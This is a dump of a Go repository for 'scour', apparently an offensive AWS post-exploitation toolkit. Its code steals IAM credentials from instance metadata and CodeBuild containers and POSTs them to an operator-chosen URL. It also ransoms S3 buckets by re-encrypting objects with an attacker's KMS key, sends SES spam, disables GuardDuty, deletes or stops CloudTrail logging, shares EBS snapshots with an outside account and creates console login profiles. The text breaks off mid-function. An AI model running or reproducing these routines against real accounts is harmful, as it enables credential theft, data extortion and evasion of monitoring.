├── scour-demo.gif ├── scour-enum.gif ├── main.go ├── cmd └── scour.go ├── .vscode └── tasks.json ├── pkg ├── awsdata │ ├── table.go │ ├── rules.go │ ├── exfil.go │ ├── tracking.go │ ├── attacks.go │ ├── lateral.go │ ├── ecs.go │ ├── defense.go │ ├── lambda.go │ ├── privesc.go │ ├── directconnect.go │ ├── sts.go │ ├── codedeploy.go │ ├── ses.go │ ├── ssm.go │ ├── credentials.go │ ├── eventbridge.go │ ├── cloudtrail.go │ ├── guardduty.go │ ├── analyzer.go │ ├── s3.go │ ├── ec2.go │ ├── persist.go │ ├── enum.go │ └── iam.go └── completion │ ├── struct.go │ ├── parse.go │ ├── credentials.go │ ├── lists.go │ ├── completion.go │ └── commands.go ├── go.mod └── README.md /scour-demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/grines/scour/HEAD/scour-demo.gif -------------------------------------------------------------------------------- /scour-enum.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/grines/scour/HEAD/scour-enum.gif -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import scour "github.com/grines/scour/cmd" 4 | 5 | func main() { 6 | scour.Start() 7 | } 8 | -------------------------------------------------------------------------------- /cmd/scour.go: -------------------------------------------------------------------------------- 1 | package scour 2 | 3 | import ( 4 | "github.com/grines/scour/pkg/awsdata" 5 | "github.com/grines/scour/pkg/completion" 6 | ) 7 | 8 | func Start() { 9 | tid := awsdata.SetTracking() 10 | completion.Start(tid) 11 | } 12 | -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | // See https://go.microsoft.com/fwlink/?LinkId=733558 3 | // for the documentation about the tasks.json format 4 | "version": "2.0.0", 5 | "tasks": [ 6 | { 7 | "label": "echo", 8 | "type": "shell", 9 | "command": "echo Hello" 10 | } 11 | ] 12 | } -------------------------------------------------------------------------------- /pkg/awsdata/table.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/olekukonko/tablewriter" 7 | ) 8 | 9 | func tableData(data [][]string, header []string) { 10 | table := tablewriter.NewWriter(os.Stdout) 11 | table.SetHeader(header) 12 | 13 | for _, v := range data { 14 | table.Append(v) 15 | } 16 | table.Render() // Send output 17 | } 18 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/grines/scour 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/aws/aws-sdk-go v1.54.18 7 | github.com/chzyer/readline v1.5.1 8 | github.com/drk1wi/Modlishka v0.0.0-20240121071814-3ebc29e5e666 9 | github.com/gookit/color v1.5.4 10 | github.com/olekukonko/tablewriter v0.0.5 11 | ) 12 | 13 | require ( 14 | github.com/jmespath/go-jmespath v0.4.0 // indirect 15 | github.com/mattn/go-runewidth v0.0.9 // indirect 16 | github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect 17 | golang.org/x/sys v0.13.0 // indirect 18 | ) 19 | -------------------------------------------------------------------------------- /pkg/awsdata/rules.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | type rules []struct { 4 | Name string `json:"name"` 5 | Exp string `json:"exp"` 6 | } 7 | 8 | func BuildRules() rules { 9 | r := rules{ 10 | { 11 | Name: "Slack Webhook", 12 | Exp: "https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}", 13 | }, 14 | { 15 | Name: "Generic Password", 16 | Exp: "pass=(.*)", 17 | }, 18 | { 19 | Name: "Generic Password", 20 | Exp: "password=(.*)", 21 | }, 22 | { 23 | Name: "AWS API Key", 24 | Exp: "AKIA[0-9A-Z]{16}", 25 | }, 26 | } 27 | 28 | return r 29 | } 30 | -------------------------------------------------------------------------------- /pkg/completion/struct.go: -------------------------------------------------------------------------------- 1 | package completion 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/aws/aws-sdk-go/aws/session" 7 | ) 8 | 9 | var sess *session.Session 10 | var region string 11 | var connected bool 12 | var target string 13 | 14 | type awsToken struct { 15 | Code string `json:"Code"` 16 | LastUpdated time.Time `json:"LastUpdated"` 17 | Type string `json:"Type"` 18 | AccessKeyID string `json:"AccessKeyId"` 19 | SecretAccessKey string `json:"SecretAccessKey"` 20 | Token string `json:"Token"` 21 | Expiration time.Time `json:"Expiration"` 22 | } 23 | 24 | type help struct { 25 | helpText string 26 | infoText string 27 | autocomplete string 28 | } 29 | -------------------------------------------------------------------------------- /pkg/awsdata/exfil.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws/session" 7 | ) 8 | 9 | func ExfilEC2Snapshot(sess *session.Session, instanceid string, accountid string, t string) { 10 | rando := SetTrackingAction(t, "ec2Snapshot-exfil") 11 | 12 | volumes := DescribeVolumes(sess, instanceid) 13 | for _, v := range volumes.Volumes { 14 | snapshot := CreateSnapshot(sess, *v.VolumeId) 15 | fmt.Println("Snapshot ID: " + *snapshot.SnapshotId) 16 | fmt.Println("https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Snapshots:visibility=private;sort=snapshotId\n") 17 | ModifySnapshotAttribute(sess, *snapshot.SnapshotId, accountid) 18 | } 19 | 20 | fmt.Println("UA Tracking: exec-env/" + rando) 21 | } 22 | -------------------------------------------------------------------------------- /pkg/completion/parse.go: -------------------------------------------------------------------------------- 1 | package completion 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/gookit/color" 8 | ) 9 | 10 | func ParseCMD(cmd string, count int, h help) []string { 11 | parts := strings.Split(cmd, " ") 12 | if len(parts) != count || strings.Contains(cmd, "help") { 13 | fmt.Println(h.helpText) 14 | fmt.Println(h.infoText) 15 | fmt.Println(h.autocomplete) 16 | return nil 17 | } 18 | return parts 19 | } 20 | 21 | func HelpText(helpdata string, info string, autocomplete string) help { 22 | green := color.FgGreen.Render 23 | blue := color.FgBlue.Render 24 | 25 | h := help{ 26 | helpText: "---\n" + green("[help] ") + helpdata, 27 | infoText: blue("[info] ") + info, 28 | autocomplete: green("[autocomplete] ") + autocomplete + "\n", 29 | } 30 | return h 31 | } 32 | -------------------------------------------------------------------------------- /pkg/awsdata/tracking.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "math/rand" 5 | "os" 6 | "time" 7 | ) 8 | 9 | const charset = "abcdefghijklmnopqrstuvwxyz" + 10 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 11 | 12 | var seededRand *rand.Rand = rand.New( 13 | rand.NewSource(time.Now().UnixNano())) 14 | 15 | func StringWithCharset(length int, charset string) string { 16 | b := make([]byte, length) 17 | for i := range b { 18 | b[i] = charset[seededRand.Intn(len(charset))] 19 | } 20 | return string(b) 21 | } 22 | 23 | func String(length int) string { 24 | return StringWithCharset(length, charset) 25 | } 26 | 27 | func SetTracking() string { 28 | rando := String(10) 29 | os.Setenv("AWS_EXECUTION_ENV", rando) 30 | return rando 31 | } 32 | 33 | func SetTrackingAction(t string, call string) string { 34 | rando := String(10) 35 | os.Setenv("AWS_EXECUTION_ENV", t+"/"+rando+"/"+call) 36 | return t + "/" + rando + "/" + call 37 | } 38 | -------------------------------------------------------------------------------- /pkg/awsdata/attacks.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws/session" 7 | ) 8 | 9 | func S3RansomWare(sess *session.Session, bucket string, kmsArn string) { 10 | GetBucketVersioning(sess, bucket) 11 | objects := ListObjects(sess, bucket) 12 | for _, o := range objects.Contents { 13 | fmt.Println(*o.Key) 14 | CopyObject(sess, bucket, *o.Key, kmsArn) 15 | } 16 | fmt.Println("\n**All files encrypted. Disable KMS key after encryption") 17 | } 18 | 19 | func SESSpam(sess *session.Session, account string, from string, to string, subject string, body string, count int) { 20 | ListEmailIdentities(sess) 21 | ListIdentities(sess) 22 | for i := 0; i < count; i++ { 23 | SendEmail(sess, body, to, from, subject) 24 | } 25 | SendEmail(sess, body, to, from, subject) 26 | out := fmt.Sprintf("%v emails sent to %v", count, to) 27 | fmt.Println(out) 28 | } 29 | 30 | func EC2CryptoMining(sess *session.Session) { 31 | 32 | } 33 | -------------------------------------------------------------------------------- /pkg/awsdata/lateral.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "net/url" 10 | "time" 11 | 12 | "github.com/aws/aws-sdk-go/aws/session" 13 | ) 14 | 15 | type Token struct { 16 | Signintoken string `json:"SigninToken"` 17 | } 18 | 19 | func LateralConsole(sess *session.Session, user string, t string) { 20 | rando := SetTrackingAction(t, "consolelogin-lateral") 21 | 22 | GetCallerIdentity(sess) 23 | token := GetFederationToken(sess, user) 24 | 25 | //Construct signin url 26 | getSigninToken := fmt.Sprintf(`{"sessionId":"%s","sessionKey":"%s","sessionToken":"%s"}`, *token.Credentials.AccessKeyId, *token.Credentials.SecretAccessKey, *token.Credentials.SessionToken) 27 | 28 | params := url.Values{} 29 | params.Add("Action", "getSigninToken") 30 | params.Add("SessionDuration", "43200") 31 | params.Add("Session", getSigninToken) 32 | signInUrl := "https://signin.aws.amazon.com/federation?" + params.Encode() 33 | 34 | //Grab SignInToken 35 | consoleClient := http.Client{ 36 | Timeout: time.Second * 2, // Timeout after 2 seconds 37 | } 38 | 39 | req, err := http.NewRequest(http.MethodGet, signInUrl, nil) 40 | if err != nil { 41 | log.Fatal(err) 42 | } 43 | 44 | res, getErr := consoleClient.Do(req) 45 | if getErr != nil { 46 | log.Fatal(getErr) 47 | } 48 | 49 | if res.Body != nil { 50 | defer res.Body.Close() 51 | } 52 | 53 | body, readErr := ioutil.ReadAll(res.Body) 54 | if readErr != nil { 55 | log.Fatal(readErr) 56 | } 57 | 58 | toke := Token{} 59 | jsonErr := json.Unmarshal(body, &toke) 60 | if jsonErr != nil { 61 | log.Fatal(jsonErr) 62 | } 63 | 64 | params = url.Values{} 65 | params.Add("Action", "login") 66 | params.Add("Issuer", "") 67 | params.Add("Destination", "https://console.aws.amazon.com/console/home") 68 | params.Add("SigninToken", toke.Signintoken) 69 | signInUrl = "https://signin.aws.amazon.com/federation?" + params.Encode() 70 | 71 | fmt.Println(signInUrl + "\n") 72 | fmt.Println("UA Tracking: exec-env/" + rando) 73 | } 74 | -------------------------------------------------------------------------------- /pkg/awsdata/ecs.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/ecs" 10 | ) 11 | 12 | func ListTaskDefinitions(sess *session.Session) *ecs.ListTaskDefinitionsOutput { 13 | svc := ecs.New(sess) 14 | input := &ecs.ListTaskDefinitionsInput{} 15 | 16 | result, err := svc.ListTaskDefinitions(input) 17 | if err != nil { 18 | if aerr, ok := err.(awserr.Error); ok { 19 | switch aerr.Code() { 20 | case ecs.ErrCodeServerException: 21 | fmt.Println(ecs.ErrCodeServerException, aerr.Error()) 22 | case ecs.ErrCodeClientException: 23 | fmt.Println(ecs.ErrCodeClientException, aerr.Error()) 24 | case ecs.ErrCodeInvalidParameterException: 25 | fmt.Println(ecs.ErrCodeInvalidParameterException, aerr.Error()) 26 | default: 27 | fmt.Println(aerr.Error()) 28 | } 29 | } else { 30 | // Print the error, cast err to awserr.Error to get the Code and 31 | // Message from an error. 32 | fmt.Println(err.Error()) 33 | } 34 | return nil 35 | } 36 | 37 | return result 38 | } 39 | 40 | func DescribeTaskDefinition(sess *session.Session, arn string) *ecs.DescribeTaskDefinitionOutput { 41 | svc := ecs.New(sess) 42 | input := &ecs.DescribeTaskDefinitionInput{ 43 | TaskDefinition: aws.String(arn), 44 | } 45 | 46 | result, err := svc.DescribeTaskDefinition(input) 47 | if err != nil { 48 | if aerr, ok := err.(awserr.Error); ok { 49 | switch aerr.Code() { 50 | case ecs.ErrCodeServerException: 51 | fmt.Println(ecs.ErrCodeServerException, aerr.Error()) 52 | case ecs.ErrCodeClientException: 53 | fmt.Println(ecs.ErrCodeClientException, aerr.Error()) 54 | case ecs.ErrCodeInvalidParameterException: 55 | fmt.Println(ecs.ErrCodeInvalidParameterException, aerr.Error()) 56 | default: 57 | fmt.Println(aerr.Error()) 58 | } 59 | } else { 60 | // Print the error, cast err to awserr.Error to get the Code and 61 | // Message from an error. 62 | fmt.Println(err.Error()) 63 | } 64 | return nil 65 | } 66 | 67 | return result 68 | } 69 | -------------------------------------------------------------------------------- /pkg/awsdata/defense.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws/session" 7 | ) 8 | 9 | func KillGuardDuty(sess *session.Session, t string) { 10 | rando := SetTrackingAction(t, "gd-kill") 11 | 12 | detectors := ListDetectors(sess) 13 | if len(detectors.DetectorIds) > 0 { 14 | for _, d := range detectors.DetectorIds { 15 | fmt.Println(*d) 16 | DisableDetector(sess, *d) 17 | 18 | } 19 | fmt.Println("UA Tracking: exec-env/" + rando) 20 | } else { 21 | fmt.Println("GuardDuty is not enabled in this region.") 22 | } 23 | } 24 | 25 | func DisableGuardDuty(sess *session.Session, t string) { 26 | rando := SetTrackingAction(t, "gd-disable") 27 | 28 | detectors := ListDetectors(sess) 29 | if len(detectors.DetectorIds) > 0 { 30 | for _, d := range detectors.DetectorIds { 31 | fmt.Println(*d) 32 | UpdateDetector(sess, *d) 33 | 34 | } 35 | fmt.Println("UA Tracking: exec-env/" + rando) 36 | } else { 37 | fmt.Println("GuardDuty is not enabled in this region.") 38 | } 39 | } 40 | 41 | func TrustIPGuardDuty(sess *session.Session, location string, t string) { 42 | rando := SetTrackingAction(t, "gd-trustipset") 43 | 44 | detectors := ListDetectors(sess) 45 | if len(detectors.DetectorIds) > 0 { 46 | for _, d := range detectors.DetectorIds { 47 | fmt.Println(*d) 48 | CreateIPSet(sess, *d, location) 49 | 50 | } 51 | fmt.Println("UA Tracking: exec-env/" + rando) 52 | } else { 53 | fmt.Println("GuardDuty is not enabled in this region.") 54 | } 55 | } 56 | 57 | func KillCloudTrail(sess *session.Session, trail string, t string) { 58 | rando := SetTrackingAction(t, "cloudtrail-kill") 59 | 60 | DescribeTrails(sess) 61 | status := DeleteTrail(sess, trail) 62 | if status == true { 63 | fmt.Println("Successfully deleted trail: ", trail) 64 | } else { 65 | fmt.Println("") 66 | } 67 | 68 | fmt.Println("UA Tracking: exec-env/" + rando) 69 | } 70 | 71 | func StopCloudTrail(sess *session.Session, trail string, t string) { 72 | rando := SetTrackingAction(t, "cloudtrail-stop") 73 | 74 | DescribeTrails(sess) 75 | status := StopLogging(sess, trail) 76 | if status == true { 77 | fmt.Println("Successfully stopped logging for trail: ", trail) 78 | } else { 79 | fmt.Println("") 80 | } 81 | 82 | fmt.Println("UA Tracking: exec-env/" + rando) 83 | } 84 | -------------------------------------------------------------------------------- /pkg/awsdata/lambda.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/lambda" 10 | ) 11 | 12 | func ListFunctions(sess *session.Session) *lambda.ListFunctionsOutput { 13 | svc := lambda.New(sess) 14 | input := &lambda.ListFunctionsInput{} 15 | 16 | result, err := svc.ListFunctions(input) 17 | if err != nil { 18 | if aerr, ok := err.(awserr.Error); ok { 19 | switch aerr.Code() { 20 | case lambda.ErrCodeServiceException: 21 | fmt.Println(lambda.ErrCodeServiceException, aerr.Error()) 22 | case lambda.ErrCodeTooManyRequestsException: 23 | fmt.Println(lambda.ErrCodeTooManyRequestsException, aerr.Error()) 24 | case lambda.ErrCodeInvalidParameterValueException: 25 | fmt.Println(lambda.ErrCodeInvalidParameterValueException, aerr.Error()) 26 | default: 27 | fmt.Println(aerr.Error()) 28 | } 29 | } else { 30 | // Print the error, cast err to awserr.Error to get the Code and 31 | // Message from an error. 32 | fmt.Println(err.Error()) 33 | } 34 | return nil 35 | } 36 | return result 37 | } 38 | 39 | func GetFunction(sess *session.Session, functionName string) *lambda.GetFunctionOutput { 40 | svc := lambda.New(sess) 41 | input := &lambda.GetFunctionInput{ 42 | FunctionName: aws.String(functionName), 43 | } 44 | 45 | result, err := svc.GetFunction(input) 46 | if err != nil { 47 | if aerr, ok := err.(awserr.Error); ok { 48 | switch aerr.Code() { 49 | case lambda.ErrCodeServiceException: 50 | fmt.Println(lambda.ErrCodeServiceException, aerr.Error()) 51 | case lambda.ErrCodeResourceNotFoundException: 52 | fmt.Println(lambda.ErrCodeResourceNotFoundException, aerr.Error()) 53 | case lambda.ErrCodeTooManyRequestsException: 54 | fmt.Println(lambda.ErrCodeTooManyRequestsException, aerr.Error()) 55 | case lambda.ErrCodeInvalidParameterValueException: 56 | fmt.Println(lambda.ErrCodeInvalidParameterValueException, aerr.Error()) 57 | default: 58 | fmt.Println(aerr.Error()) 59 | } 60 | } else { 61 | // Print the error, cast err to awserr.Error to get the Code and 62 | // Message from an error. 63 | fmt.Println(err.Error()) 64 | } 65 | return nil 66 | } 67 | 68 | return result 69 | } 70 | -------------------------------------------------------------------------------- /pkg/awsdata/privesc.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | 7 | "github.com/aws/aws-sdk-go/aws" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/ec2" 10 | "github.com/drk1wi/Modlishka/log" 11 | ) 12 | 13 | func PrivescUserdata(sess *session.Session, instanceID string, payload string) { 14 | 15 | StopInstance(sess, instanceID) 16 | time.Sleep(30 * time.Second) 17 | 18 | //userdata payload to extract metadata 19 | userData := fmt.Sprintf(`Content-Type: multipart/mixed; boundary="//" 20 | MIME-Version: 1.0 21 | 22 | --// 23 | Content-Type: text/cloud-config; charset="us-ascii" 24 | MIME-Version: 1.0 25 | Content-Transfer-Encoding: 7bit 26 | Content-Disposition: attachment; filename="cloud-config.txt" 27 | 28 | #cloud-config 29 | cloud_final_modules: 30 | - [scripts-user, always] 31 | 32 | --// 33 | Content-Type: text/x-shellscript; charset="us-ascii" 34 | MIME-Version: 1.0 35 | Content-Transfer-Encoding: 7bit 36 | Content-Disposition: attachment; filename="userdata.txt" 37 | 38 | #!/bin/bash 39 | ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials) 40 | META=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE) 41 | curl -X POST -d "$META" %s 42 | --//`, payload) 43 | 44 | //dataEnc := base64.StdEncoding.EncodeToString([]byte(userData)) 45 | 46 | input := &ec2.ModifyInstanceAttributeInput{ 47 | InstanceId: aws.String(instanceID), 48 | UserData: &ec2.BlobAttributeValue{ 49 | Value: []byte(userData), 50 | }, 51 | } 52 | attrib := ModifyInstanceAttribute(sess, input) 53 | if attrib { 54 | log.Infof("Modifying Instance Attribute UserData on %v", instanceID) 55 | StartInstance(sess, instanceID) 56 | } 57 | } 58 | 59 | func PrivescCreateLoginProfile(sess *session.Session, user string, t string) { 60 | rando := SetTrackingAction(t, "loginprofile-privesc") 61 | profile, password := CreateLoginProfile(sess, user) 62 | if profile != nil { 63 | fmt.Println("User: " + user) 64 | fmt.Println("Password: " + password + "\n") 65 | fmt.Println("UA Tracking: exec-env/" + rando) 66 | 67 | } else { 68 | fmt.Println("\nProfile exists, Updating instead..") 69 | _, password := UpdateLoginProfile(sess, user) 70 | fmt.Println("User: " + user) 71 | fmt.Println("Password: " + password + "\n") 72 | fmt.Println("UA Tracking: exec-env/" + rando) 73 | } 74 | 75 | } 76 | 77 | func PrivescAdminPermissions(sess *session.Session, user string, t string) { 78 | rando := SetTrackingAction(t, "adminperms-privesc") 79 | 80 | policies := ListUserPolicies(sess, user) 81 | for _, p := range policies.PolicyNames { 82 | fmt.Println(p) 83 | } 84 | fmt.Println("UA Tracking: exec-env/" + rando) 85 | } 86 | -------------------------------------------------------------------------------- /pkg/awsdata/directconnect.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/directconnect" 10 | "github.com/aws/aws-sdk-go/service/lambda" 11 | ) 12 | 13 | func DescribeDirectConnectGateways(sess *session.Session) *directconnect.DescribeDirectConnectGatewaysOutput { 14 | svc := directconnect.New(sess) 15 | input := &directconnect.DescribeDirectConnectGatewaysInput{} 16 | 17 | result, err := svc.DescribeDirectConnectGateways(input) 18 | if err != nil { 19 | if aerr, ok := err.(awserr.Error); ok { 20 | switch aerr.Code() { 21 | case lambda.ErrCodeServiceException: 22 | fmt.Println(lambda.ErrCodeServiceException, aerr.Error()) 23 | case lambda.ErrCodeResourceNotFoundException: 24 | fmt.Println(lambda.ErrCodeResourceNotFoundException, aerr.Error()) 25 | case lambda.ErrCodeTooManyRequestsException: 26 | fmt.Println(lambda.ErrCodeTooManyRequestsException, aerr.Error()) 27 | case lambda.ErrCodeInvalidParameterValueException: 28 | fmt.Println(lambda.ErrCodeInvalidParameterValueException, aerr.Error()) 29 | default: 30 | fmt.Println(aerr.Error()) 31 | } 32 | } else { 33 | // Print the error, cast err to awserr.Error to get the Code and 34 | // Message from an error. 35 | fmt.Println(err.Error()) 36 | } 37 | return nil 38 | } 39 | 40 | return result 41 | } 42 | 43 | func DescribeDirectConnectGatewayAssociations(sess *session.Session, gatewayID string) *directconnect.DescribeDirectConnectGatewayAssociationsOutput { 44 | svc := directconnect.New(sess) 45 | input := &directconnect.DescribeDirectConnectGatewayAssociationsInput{ 46 | AssociationId: aws.String(gatewayID), 47 | } 48 | 49 | result, err := svc.DescribeDirectConnectGatewayAssociations(input) 50 | if err != nil { 51 | if aerr, ok := err.(awserr.Error); ok { 52 | switch aerr.Code() { 53 | case lambda.ErrCodeServiceException: 54 | fmt.Println(lambda.ErrCodeServiceException, aerr.Error()) 55 | case lambda.ErrCodeResourceNotFoundException: 56 | fmt.Println(lambda.ErrCodeResourceNotFoundException, aerr.Error()) 57 | case lambda.ErrCodeTooManyRequestsException: 58 | fmt.Println(lambda.ErrCodeTooManyRequestsException, aerr.Error()) 59 | case lambda.ErrCodeInvalidParameterValueException: 60 | fmt.Println(lambda.ErrCodeInvalidParameterValueException, aerr.Error()) 61 | default: 62 | fmt.Println(aerr.Error()) 63 | } 64 | } else { 65 | // Print the error, cast err to awserr.Error to get the Code and 66 | // Message from an error. 67 | fmt.Println(err.Error()) 68 | } 69 | return nil 70 | } 71 | 72 | return result 73 | } 74 | -------------------------------------------------------------------------------- /pkg/awsdata/sts.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/sts" 10 | ) 11 | 12 | func GetCallerIdentity(sess *session.Session) string { 13 | svc := sts.New(sess) 14 | 15 | var params *sts.GetCallerIdentityInput 16 | resp, err := svc.GetCallerIdentity(params) 17 | 18 | if err != nil { 19 | // Print the error, cast err to awserr.Error to get the Code and 20 | // Message from an error. 21 | fmt.Println(err.Error()) 22 | return "" 23 | } 24 | 25 | data := [][]string{ 26 | {*resp.Account, *resp.Arn, *resp.UserId}, 27 | } 28 | 29 | header := []string{"Account", "ARN", "UserID"} 30 | tableData(data, header) 31 | 32 | return string(*resp.Arn) 33 | } 34 | 35 | func GetSessionToken(sess *session.Session) *sts.GetSessionTokenOutput { 36 | svc := sts.New(sess) 37 | input := &sts.GetSessionTokenInput{ 38 | DurationSeconds: aws.Int64(3600), 39 | } 40 | 41 | result, err := svc.GetSessionToken(input) 42 | if err != nil { 43 | if aerr, ok := err.(awserr.Error); ok { 44 | switch aerr.Code() { 45 | case sts.ErrCodeRegionDisabledException: 46 | fmt.Println(sts.ErrCodeRegionDisabledException, aerr.Error()) 47 | default: 48 | fmt.Println(aerr.Error()) 49 | } 50 | } else { 51 | // Print the error, cast err to awserr.Error to get the Code and 52 | // Message from an error. 53 | fmt.Println(err.Error()) 54 | } 55 | return nil 56 | } 57 | 58 | return result 59 | } 60 | 61 | func GetFederationToken(sess *session.Session, username string) *sts.GetFederationTokenOutput { 62 | svc := sts.New(sess) 63 | input := &sts.GetFederationTokenInput{ 64 | DurationSeconds: aws.Int64(3600), 65 | Name: aws.String(username), 66 | Policy: aws.String("{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"Stmt1\",\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}]}"), 67 | } 68 | 69 | result, err := svc.GetFederationToken(input) 70 | if err != nil { 71 | if aerr, ok := err.(awserr.Error); ok { 72 | switch aerr.Code() { 73 | case sts.ErrCodeMalformedPolicyDocumentException: 74 | fmt.Println(sts.ErrCodeMalformedPolicyDocumentException, aerr.Error()) 75 | case sts.ErrCodePackedPolicyTooLargeException: 76 | fmt.Println(sts.ErrCodePackedPolicyTooLargeException, aerr.Error()) 77 | case sts.ErrCodeRegionDisabledException: 78 | fmt.Println(sts.ErrCodeRegionDisabledException, aerr.Error()) 79 | default: 80 | fmt.Println(aerr.Error()) 81 | } 82 | } else { 83 | // Print the error, cast err to awserr.Error to get the Code and 84 | // Message from an error. 85 | fmt.Println(err.Error()) 86 | } 87 | return nil 88 | } 89 | 90 | return result 91 | } 92 | -------------------------------------------------------------------------------- /pkg/awsdata/codedeploy.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/codebuild" 10 | "github.com/drk1wi/Modlishka/log" 11 | ) 12 | 13 | func CreateProject(sess *session.Session, payload string, roleArn string) (string, string) { 14 | rando := String(10) 15 | projectName := "Amazon-CodeBuild_DevTest_" + rando 16 | 17 | buildspec := fmt.Sprintf(`version: 0.2 18 | 19 | phases: 20 | install: 21 | commands: 22 | - curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI > /tmp/meta 23 | - curl -X POST --data "@/tmp/meta" %s 24 | build: 25 | commands: 26 | - whoami 27 | post_build: 28 | finally: 29 | - ls -la /home`, payload) 30 | 31 | svc := codebuild.New(sess) 32 | input := &codebuild.CreateProjectInput{ 33 | Name: aws.String(projectName), 34 | Source: &codebuild.ProjectSource{ 35 | Type: aws.String("NO_SOURCE"), 36 | Buildspec: aws.String(buildspec), 37 | }, 38 | Artifacts: &codebuild.ProjectArtifacts{ 39 | Type: aws.String("NO_ARTIFACTS"), 40 | }, 41 | Environment: &codebuild.ProjectEnvironment{ 42 | Type: aws.String("LINUX_CONTAINER"), 43 | Image: aws.String("aws/codebuild/standard:1.0"), 44 | ComputeType: aws.String("BUILD_GENERAL1_SMALL"), 45 | }, 46 | ServiceRole: aws.String(roleArn), 47 | } 48 | 49 | result, err := svc.CreateProject(input) 50 | if err != nil { 51 | if aerr, ok := err.(awserr.Error); ok { 52 | switch aerr.Code() { 53 | case codebuild.ErrCodeInvalidInputException: 54 | fmt.Println(codebuild.ErrCodeInvalidInputException, aerr.Error()) 55 | default: 56 | fmt.Println(aerr.Error()) 57 | } 58 | } else { 59 | // Print the error, cast err to awserr.Error to get the Code and 60 | // Message from an error. 61 | fmt.Println(err.Error()) 62 | } 63 | return "", "" 64 | } 65 | log.Infof("* Project %s successfully created at %v", *result.Project.Arn, result.Project.Created) 66 | return *result.Project.Arn, *result.Project.Name 67 | 68 | } 69 | 70 | func StartBuild(sess *session.Session, projName string) { 71 | 72 | svc := codebuild.New(sess) 73 | input := &codebuild.StartBuildInput{ 74 | ProjectName: aws.String(projName), 75 | } 76 | 77 | result, err := svc.StartBuild(input) 78 | if err != nil { 79 | if aerr, ok := err.(awserr.Error); ok { 80 | switch aerr.Code() { 81 | case codebuild.ErrCodeInvalidInputException: 82 | fmt.Println(codebuild.ErrCodeInvalidInputException, aerr.Error()) 83 | default: 84 | fmt.Println(aerr.Error()) 85 | } 86 | } else { 87 | // Print the error, cast err to awserr.Error to get the Code and 88 | // Message from an error. 89 | fmt.Println(err.Error()) 90 | } 91 | return 92 | } 93 | log.Infof("* Build %s successfully %s", *result.Build.Arn, *result.Build.CurrentPhase) 94 | 95 | } 96 | -------------------------------------------------------------------------------- /pkg/awsdata/ses.go: -------------------------------------------------------------------------------- 1 | package awsdata 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/aws/aws-sdk-go/aws" 7 | "github.com/aws/aws-sdk-go/aws/awserr" 8 | "github.com/aws/aws-sdk-go/aws/session" 9 | "github.com/aws/aws-sdk-go/service/ses" 10 | "github.com/aws/aws-sdk-go/service/sesv2" 11 | ) 12 | 13 | func ListEmailIdentities(sess *session.Session) { 14 | svc := sesv2.New(sess) 15 | input := &sesv2.ListEmailIdentitiesInput{} 16 | 17 | result, err := svc.ListEmailIdentities(input) 18 | if err != nil { 19 | if aerr, ok := err.(awserr.Error); ok { 